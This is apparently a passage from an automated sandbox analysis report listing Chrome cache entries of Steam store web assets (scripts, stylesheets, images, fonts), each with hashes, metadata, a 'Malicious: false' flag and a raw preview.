Preview:	..var g_recaptchaInstance = null;....function DisplayPage( page )..{....$('error_display').innerHTML = '';....$('error_display').style.display = 'none';.......switch ( page )....{.....case 'code':......$('wallet_code_form').style.display = '';......$('redeem_wallet_code_upsell_text').style.display = '';......$('address_form').style.display = 'none';......$('validate_btn').style.display = '';......$('validate_btn_in_progress').style.display = 'none';........$('wallet_code').value = '';.....break;..........case 'address':......$('address_btn').style.display = '';......$('address_btn_in_progress').style.display = 'none';......$('wallet_code_form').style.display = 'none';......$('redeem_wallet_code_upsell_text').style.display = 'none';......$('main_content').style.backgroundImage = "url('')";......$('address_form').style.display = '';.....break;....}..}....function UpdateStateSelection()..{...try ...{....if ( $('billing_country').value == 'US' )....{.....$('billing_state_text').style.displ

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1819), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	89316
Entropy (8bit):	5.660692146381461
Encrypted:	false
SSDEEP:	1536:ONnJeaPWZxrmucwoMf1abY1oB2n70HupuF8P+WaVgDYqiaiiP1rNUEsANnMxafTx:ytlDKHUnweoQk
MD5:	70D168FD2358727EE4DC089670B4430C
SHA1:	7608A16C5A93D0CB7DB2B2F0DE77B5E1FF07BD17
SHA-256:	BFC9BFA0C591D7665BBB9CE469612255D7279029D32246BFFEFD1F8AE5C589F6
SHA-512:	A4C247509116C2B127C6FD1DCF66B1231FACA39EE1A5FF2B4BD401C949B9B56D2098C9FB54BD993E6ABA218A31F0A4C46B9E59F5C33F87B789F5736CB68A16F9
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=mm2EqtpQ_Tvc&l=english
Preview:	:root {.../* System greys /...--gpSystemLightestGrey: #DCDEDF;...--gpSystemLighterGrey: #B8BCBF;...--gpSystemLightGrey: #8B929A;...--gpSystemGrey: #67707B;...--gpSystemDarkGrey: #3D4450;...--gpSystemDarkerGrey: #23262E;...--gpSystemDarkestGrey: #0E141B;...../ Store blue greys /...--gpStoreLightestGrey: #CCD8E3;...--gpStoreLighterGrey: #A7BACC;...--gpStoreLightGrey: #7C8EA3;...--gpStoreGrey: #4e697d;...--gpStoreDarkGrey: #2A475E;...--gpStoreDarkerGrey: #1B2838;...--gpStoreDarkestGrey: #000F18;...../ Gradients /...--gpGradient-StoreBackground: linear-gradient(180deg, var(--gpStoreDarkGrey) 0%, var(--gpStoreDarkerGrey) 80%);...--gpGradient-LibraryBackground: radial-gradient(farthest-corner at 40px 40px,#3D4450 0%, #23262E 80%);...../ Colours */...--gpColor-Blue: #1A9FFF;...--gpColor-BlueHi: #00BBFF;...--gpColor-Green: #5ba32b;...--gpColor-GreenHi: #59BF40;...--gpColor-Orange: #E35E1C;...--gpColor-Red: #D94126;...--gpColor-RedHi: #EE563B;...--gpColor-DustyBlue: #417a9b;...--gpColor-L

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1836), with no line terminators
Category:	dropped
Size (bytes):	1836
Entropy (8bit):	5.861467806576844
Encrypted:	false
SSDEEP:	48:iEzpxKo75XI2ovtUjPKtXsDXx/gS1aiRLrwUnG:pVgMI5czZv5suG
MD5:	3FAEB04F00B985F90397C8925CAC45CB
SHA1:	8ADAC17CCCB9F833DFF9CD1C285515C8D9F4F361
SHA-256:	D68B3A3610B9153CC79703A447FDEDBF267889DA21115A5235C488130BE06277
SHA-512:	6D9577024472023F0919C497CEFB256557660362F7C0EC78648812538E1005C65EB3AB83F620220CDE8485EA4E3466AAB9AC7D72799FC6DAE192F9CA1F06F664
Malicious:	false
Reputation:	low
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var E='enterprise',a=w[N]=w[N]\|\|{},gr=a[E]=a[E]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://recaptcha.net/recaptcha/enterprise/';(cfg['enterprise']=cfg['enterprise']\|\|[]).push(true);(cfg['render']=cfg['render']\|\|[]).push('explicit');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true; po.charset='utf-8';var v=w.navigator,m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='A7uxtj3+hJmOcZFooFT0Ps276PuOqGnM1jfoPbFvxWp73VC60LnYGzayHVvcFeEiF0qrwy7fQAL+gGVXU+f9IQcAAACTeyJvcmlnaW4iOiJodHRwczovL3JlY2FwdGNoYS5uZXQ6NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.getValue().the

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 76 x 75, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2686
Entropy (8bit):	7.8983946442596595
Encrypted:	false
SSDEEP:	48:gJ/6YRACqqA4fv93zCq/GY0oxlo1SoCvTY5nl4eXmB42cJ5lpsR53J7/3kf:gSYRJA4fv9hBFxcSTLYw42csDN/3kf
MD5:	8A1D77FA0B95FD6C8E21166BDA4229F4
SHA1:	68CD21CC81CC7B812ED41FD7DF98B8C73AAD73BD
SHA-256:	ABF7B6E3C36726CB1DAD94DC2AB7FFAA66A06D76BD59C047EFB1D2867F35409C
SHA-512:	C6AA743B7F72F54661EC39F1876A54D7A3E9C1C6F6AB3359FEEEB581D14734FF7A74A386F894BDB82D04F8D17D89EB3E3A370A6138EE43DB351DD5368E38A6A3
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_logo.png
Preview:	.PNG........IHDR...L...K......a.....pHYs.................sRGB.........gAMA......a.....IDATx..\.r...>..l.i.M;cx.V.....w.v.Yf%..$=..'...t%j.L/.....vLW."e:cz.%c+3.XJ....9....... ....H^..<.._".L.VK%....H...('@......%.C..H.C.h[(....n......cB.rS....%kDBUJ..a...-....n?h..0R..>.u<.$.G.F.[..I....~.F....D]0...!.3......F!.w...M.....7Q}.)...%q..v..3K `..D...Ri-.#14a..M..c.F..2...U..C.V...cI~VH....&...i.-5aW..X'....#X..JsiHKL.R...ur$..5.;...BR.-.aL.y.x.AV.M....'.h).o$Y..........Q.....[....G.....k3z.]..TT.........g.R./..7..V.}.\|}.!.H.;...3(..$Kb..6w..}....eC.0o..Kd.5....'...v.0...p..P........?P.S....+........B..H.?y...%..T...Q.......N !.^\|.\|...t...Z...w/~../.....v.).UzY...d....n.......G&KQ..>{U6..M.@..3....X6...%V.......(..2}.1....7.....O8.A7[..a....r.b..C..H.T.......:m...#.@.~.nv.?.....-~.$....K$.v..-...C..D.E.0...'...ES.,.e...,"......ZTU..k..ug.....1a:D.G.z.....j@.@\?x..C.sow.........~..t.....d..N......O...s..3z.C...L..\|.s.sohd..[E.a...iO......q\|1....a

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 5 icons, 16x16, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	downloaded
Size (bytes):	38554
Entropy (8bit):	7.281917544628079
Encrypted:	false
SSDEEP:	768:PcaDYrV5KBau+3erpKn9jpe7z9mWAFjQcR4D9DQ0LKfjLh:PcsiV5Y+erc9T/H4f0jLh
MD5:	231913FDEBABCBE65F4B0052372BDE56
SHA1:	553909D080E4F210B64DC73292F3A111D5A0781F
SHA-256:	9F890A9DEBCDFCCC339149A7943BE9AFF9E4C9203C2FA37D5671A5B2C88503AD
SHA-512:	7B11B709968C5A52B9B60189FB534F5DF56912417243820E9D1C00C97F4BD6D0835F2CDF574D0C36ECB32DBBF5FC397324DF54F7FDF9E1B062B5DBDA2C02E919
Malicious:	false
Reputation:	low
URL:	https://store.steampowered.com/favicon.ico
Preview:	............ .h...V......... ......... .... .....F...00.... ..%............ ..R...D..(....... ..... ..................................u...t...w.H.z...\|..}...}...\|..z...w.I.t...u...........p...f...e...j...k..k...l...m...n...n...n...m..j...e...f...q...Z...Y...]..._...w6...T..{;..`..._..._..._..._..._...]...Y...Z..~K...P...O...{I............P..R...S...S...S...S...S...R..~K..t@.I.Q!.{T.....................M..zF..{H..{H..{H..{H..zG..yE.I..................................zJ$.m9..o;..o<..p<..p<..o;.........................................eM.p@$.c0..d0..d1..d1..............xP<.g9#..hW..........................~o.],..Z(..Z)...j].a7$.P ..O...P ..O.....v..........................dV.O...Q"..F...H...I...I...I...H...Q&...........................H...I...C...C...C...C...C...C...@....rg.......................C...C...?..I>...>...>...>...>...=...Y:*.....................x^Q.<...?..I=...:...:...:...:...:...:...9...mUG.............ti.=...:...=...7...7...6...6...6...6...6...6...4...@%..R:

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3690), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	42674
Entropy (8bit):	5.290659073629772
Encrypted:	false
SSDEEP:	768:VEFFEICBdexIB5vvpq1vd9X0t9lWUMhXB+8pHjBtPF51ffVuZSIopIAcriiwo+nf:VEFFEICBdexIB5vv81vdh0t9lWUMhXBB
MD5:	177765C4B0611B0862EF6A71DF5AA4DB
SHA1:	3246A489910C9B9EC644F18DC539D171072A891F
SHA-256:	CA9364E3D6207DE1BA23E80B5EE59AECF8F5CD54E33038E5A04692455A6236D8
SHA-512:	7D698176ECBA75CD5B4711B20E4CE0BD767C107249DA0E764C9A5EA4512B66318533C8E7AA3B9DD62B6BB17D29BC321F95D6E407735C9E599507BAD66E7B2F08
Malicious:	false
Reputation:	low
URL:	https://store.steampowered.com/mobile
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam, The Ultimate Online Game Platform</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=cNFo_SNYcn7k&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/shared/css/buttons.css?v=CrrkDubPqLcq&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/css/v6/store.css?v=BoPNbbsndIQb&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akama

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 406 x 719, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	503402
Entropy (8bit):	7.996257220777793
Encrypted:	true
SSDEEP:	12288:vyy70uBu8olN1OkoyLscRq3XNDLNLJ10A:vydHOkhhqXdN7
MD5:	EAA918479400786006BC5A37E77075A2
SHA1:	CB892A61D8643B235AC589D9E0FD7A4A97CE56A9
SHA-256:	69A47EA33E7FA0226B9F23B5837A9075F36A0FFC2E7ADC2F5B30F564E1DAD09C
SHA-512:	52BCD20485323C7451FCFBACF51A3E5366031198177CE53815EE031A451219755421DA894EDEB8E26A83EC84D7E52217B26158DDF5B0449BFFE8F286B2238942
Malicious:	false
Reputation:	low
URL:	https://cdn.akamai.steamstatic.com/steam/clusters/about_i18n_assets/about_i18n_assets_0/wallet_card_img_english.png?t=1636143670
Preview:	.PNG........IHDR.............A..4....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:4CE48FD624C911E48BC599859989B32F" xmpMM:DocumentID="xmp.did:4CE48FD724C911E48BC599859989B32F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4CE48FD424C911E48BC599859989B32F" stRef:documentID="xmp.did:4CE48FD524C911E48BC599859989B32F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>>}M.....IDATx..}...e..=3...g.n6..nz'.!.@H...\|...b...'"*....S.E..J....i...m....:3..3s.l.........kr.3g......WX..;.D..@

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3966
Entropy (8bit):	5.142958773271244
Encrypted:	false
SSDEEP:	96:l62ePL5p/6t0hHEcmefouMXQ2AGBm9HWJPon+6i+p:MC2foXg2AGgHWt8
MD5:	76E4C70A57760DE5DB02A53C82B1C74E
SHA1:	5393F2417550ADA806129D85A0335CC3A8C918A7
SHA-256:	1DF1807DE57661ACE09F4F8A4CA7314DF333DA34683FF384BE93270AA6032803
SHA-512:	3BB9DFAF3DA8E6A5D2665156E4CAB88D042230B7C4D6475B3CFBC371B729CBF540FE582EA6D282713088ADBAE9A6A0217EFEC18EBA72BA29BC494E6CA9E0169F
Malicious:	false
Reputation:	low
Preview:	....function BHasShippingStateDropDown()..{...return $J('#shipping_state_select_droplist') && $J('#shipping_state_select_droplist')[0] && $J('#shipping_state_select_droplist')[0].childNodes.length > 1;..}....function Shipping_UpdateStateSelectState()..{...if ( $J('#shipping_country') )...{....if ( BHasShippingStateDropDown() )....{.....$J('#shipping_state_text').hide();.....$J('#shipping_state_select_dselect_container').show();....}....else....{.....$J('shipping_state_text').show();.....$J('shipping_state_select_dselect_container').hide();....}...}..}....function Shipping_VerifyAddressFields( rgBadFields )..{...var errorString = '';...rgBadFields = {....shipping_first_name : false,....shipping_last_name : false,....shipping_address : false,....shipping_city : false,....shipping_state_text : false,....shipping_phone : false,....shipping_postal_code : false,....shipping_state_select_trigger: false...}.....return errorString;..}....function Shipping_VerifyShippingAddress( sessionID, ajax_

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65482), with CRLF line terminators
Category:	dropped
Size (bytes):	93637
Entropy (8bit):	5.292996107428883
Encrypted:	false
SSDEEP:	1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
MD5:	E1288116312E4728F98923C79B034B67
SHA1:	8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
SHA-256:	BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
SHA-512:	BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
Malicious:	false
Reputation:	low
Preview:	/! jQuery v1.8.3 jquery.com \| jquery.org/license /..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e\|\|!e.parentNode\|\|e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t\|\|0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 646 x 250, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	4904
Entropy (8bit):	7.899029446643728
Encrypted:	false
SSDEEP:	96:OdBnjzG7DZTxqIfy33nn/qf46vhPQuAgul5SZBsj51v1f:OdBnjwDZTx5fy33no4ShRjuX2sd1vt
MD5:	1E91D02CF5A902F38F2923C006D79281
SHA1:	CB8126B32C2274E0394246B40BD0B7F9F847E44C
SHA-256:	F72611E2DF8E88204009FD896D05D5E8E83C77009C63943BBFFA169559934849
SHA-512:	54B69544DC55ADDC0B2DDC08418D1A0A34240697070FE47FEAE9E915C70D33EF662CE1B7154CBCAD84019D22F3291F138CC7298224D381CC740C2097478D4042
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/localizedimages/googleplaystore/google_play_store_english.png
Preview:	.PNG........IHDR..............+v.....PLTEGpLWWW^^^fffnnnaaaxxx.........sss\\\.........hhhIII**.........sss...444}}}...>>>SSSYYYjjj...}}}^^^ @@@ppp......```000PPP....J$._/'~>$t9.T.5..........................................D4.S1.N....................... ...I..kkk..................zzz....?.......!i4...$]c....2d.:.....:u.B..=.....8.N..nS.:.N.......?/.;.N......=.N~^......^G.?.N....v.@.NO;..j...............<.T/#.5.\..7L...xK.OY.C5.q#.n!.2(9...;/I...?2u"..!...;..X....%...K..7+I..g...&.,..H..G..E..FFu..a.... tRNS.:..........................j...N}......IDATx...Ub.@.E..I71.0.....C.5.............................?...._.r..[........E...v^Ne...E;+..l..n..c...]w..\|r...m>.w=...2..5.+......tW..].........6m.i..).Y.h.B.k....j.......T.l.\.<...T.H2.._...a.....u...e.}.Op...J.....I.j.....>.C...&.tW.T0Kr..I..4.v.].OrSie..!O.......!......!.g..Z.0......r..\|4.h.t..{.............N...fi..-R....LH9#....7I$..$..o.T....8......@A<y..s....K...%Wt.y.z..].i.h...T..l.E6.....S7C

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.307354922057605
Encrypted:	false
SSDEEP:	3:WZoS+Nhn:WZoSyh
MD5:	A2432DC721D79CB02E73D270CE7E1EAA
SHA1:	5A3C7BE77E9108ACA1B39E6BCD336EAAE6A51080
SHA-256:	CE43C8C02C05A92B3E20FAB138AAD31B9FD54B92848913449D09924E839BB80E
SHA-512:	0091B8D2F943169BDF1DD01D07A31F683F3B353D4EAADF1F7973AA79A989E349F53D6518AC612A856D89AB1539923C9FFAABB13E7CF8BEDF450E128342FF3298
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwl6rUtCoQde5RIFDZFhlU4SBQ01hlQc?alt=proto
Preview:	ChIKBw2RYZVOGgAKBw01hlQcGgA=

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansBlack4.015;Plau;MotivaSa
Category:	downloaded
Size (bytes):	120816
Entropy (8bit):	6.070220522864693
Encrypted:	false
SSDEEP:	3072:IrEEEEEueapd0oej1yAHjU/gXG7mGSCfj9:IDpd0oejdQ/gXgfh
MD5:	4F7C668AE0988BF759B831769BFD0335
SHA1:	280A11E29D10BB78D6A5B4A1F512BF3C05836E34
SHA-256:	32D4C8DC451E11DB315D047306FEEA0376FBDC3A77C0AB8F5A8AB154164734D1
SHA-512:	AF959FE2A7D5F186BD79A6B1D02C69F058ECD52E60EBD0EFFA7F23B665A41500732FFA50A6E468A5253BB58644251586AE38EC53E21EAB9140F1CF5FD291F6A5
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Black.ttf?v=4.015
Preview:	........... DSIG............GDEF...4...,...@GPOS..B....l..l.GSUB.d....m.....OS/2w.'.......`cmap.d..........cvt J......0....fpgm.6!.........gasp.......(....glyf...G.......jhead.g.n.......6hhea.r.....(...$hmtx......L....loca.F. ...4....maxp........... nameKN].........post............prep...........................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (377), with CRLF line terminators
Category:	downloaded
Size (bytes):	34674
Entropy (8bit):	5.421358067509858
Encrypted:	false
SSDEEP:	768:ciJQBnCB/MaberYaWM5tWgFPQVGvKMpEFbW:cMQJu/Mabc4MZPPvKzk
MD5:	3F9FAFDC9C0CDDD25D6E4D046A8D42D3
SHA1:	E277FDA3655E94DDB80F03225EFA7EE8EBD6BB30
SHA-256:	A2ADAD654A0E37C791418E897592D6213B0CBEB73B35C1DE6CA82085C4E79CE9
SHA-512:	012D99F610FBA081390225909D3915361EE5638D71EE507B3D05EB71D05C1489EF1CDC0A39DA1D2D1ADACBDFAC2C279D96EBB47C72273CC2662E06E4378EEBFE
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/crypto/jsbn.js
Preview:	..// Copyright (c) 2005 Tom Wu..// All Rights Reserved...// See "LICENSE" for details...../.. Copyright (c) 2003-2005 Tom Wu.. * All Rights Reserved... .. Permission is hereby granted, free of charge, to any person obtaining.. * a copy of this software and associated documentation files (the.. * "Software"), to deal in the Software without restriction, including.. * without limitation the rights to use, copy, modify, merge, publish,.. * distribute, sublicense, and/or sell copies of the Software, and to.. * permit persons to whom the Software is furnished to do so, subject to.. * the following conditions:.. .. The above copyright notice and this permission notice shall be.. * included in all copies or substantial portions of the Software... .. THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, .. * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY .. * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. .. .. IN NO EVENT SHAL

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF, CR line terminators
Category:	downloaded
Size (bytes):	89437
Entropy (8bit):	4.934831850769131
Encrypted:	false
SSDEEP:	1536:LlaY4P+xmlvr+k3mCQHNl9EvOxzXQApcGBPVCGUb6WFA66WqiLOrVQXWl:E1XZEl9EvOxzLcGBkQ1WA
MD5:	31ED48071CE4B62C24520C95BCDE6026
SHA1:	C073152E6835FBA2DED4CC215F3985266BE23F2B
SHA-256:	08B39451EABACA10CD735816CDC5AF4A35B05FBB197E2082235B6E16BE62DEDB
SHA-512:	1CB651EC52D7EB67A961436A48340D0B783BC944CD54008D00E8B26D933D0668380126C6ACAE89EF10906FD96E8DA9ED4EF773DFD9C761F608FF7EBDA5554AE7
Malicious:	false
Reputation:	low
URL:	"https://store.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=Me1IBxzktiwk&l=english&load=effects,controls,slider"
Preview:	// script.aculo.us scriptaculous.js v1.8.1, Thu Jan 03 22:07:12 -0500 2008....// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)..// ..// Permission is hereby granted, free of charge, to any person obtaining..// a copy of this software and associated documentation files (the..// "Software"), to deal in the Software without restriction, including..// without limitation the rights to use, copy, modify, merge, publish,..// distribute, sublicense, and/or sell copies of the Software, and to..// permit persons to whom the Software is furnished to do so, subject to..// the following conditions:..// ..// The above copyright notice and this permission notice shall be..// included in all copies or substantial portions of the Software...//..// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..// NONINFRINGEMENT. IN NO EV

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65339), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	65881
Entropy (8bit):	4.994268081658709
Encrypted:	false
SSDEEP:	1536:B7aiXrClRYuLGh4iS72wI7CsrpzAuIRmfQ+:9klR7LGh4iS77I7CsmuIRmfQ+
MD5:	47619749A77F1358844215EBF0BD88EB
SHA1:	E1273E426CF013D92378F658BE99F72593559A40
SHA-256:	6323D60A28DCFE5E071C30BF2F4EE94BD3ABA6E7D771F3BC715F3E65626D15A5
SHA-512:	9023246B2914C57C30DBA6410373BE1C2170FE99318D1FFC26B26CC351E25B1110D0B75B7083D0FED258A1F3F45CE1BF045AF3AEDB3D3B6999A9D1B7503B4834
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[9188],{67519:e=>{e.exports=JSON.parse('{"language":"english","CuratorAdmin_RSSFeed_title":"Manage my RSS Feeds","CuratorAdmin_RSSFeed_desc":"Setting up RSS feeds allows you to automate the Steam Events and Announcement creation from your existing content management platform. Your content from your site will automatically surface to Steam customers who follow you as News. ","CuratorAdmin_RSSFeed_lang_only":"Feed Language:","CuratorAdmin_Curator_lang_only":"NOTE: The curator is set to %1$s language which is different from the feed language of %2$s. Re-save the feed to update to this language.","CuratorAdmin_RSSFeed_lang":"The language is set on the group to \'%1$s\'. If this is not correct, you can edit the group profile and then re-setup this feed.","Cu

Chrome Cache Entry: 478

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (724)
Category:	downloaded
Size (bytes):	551834
Entropy (8bit):	5.646059185430787
Encrypted:	false
SSDEEP:	6144:ytxIUYTteVvs0E8gSdoxS4MLYw1tZnAzsz1I9VBojCdzNDC2vPpD:ybYTZMgGopkAzsz1ciEU2d
MD5:	33AFF52B82A1DF246136E75500D93220
SHA1:	4675754451AF81F996EAB925923C31EF5115A9F4
SHA-256:	B5E8EC5D4DCC080657DEB2D004F65D974BF4EC9E9AA5D621E10749182FFF8731
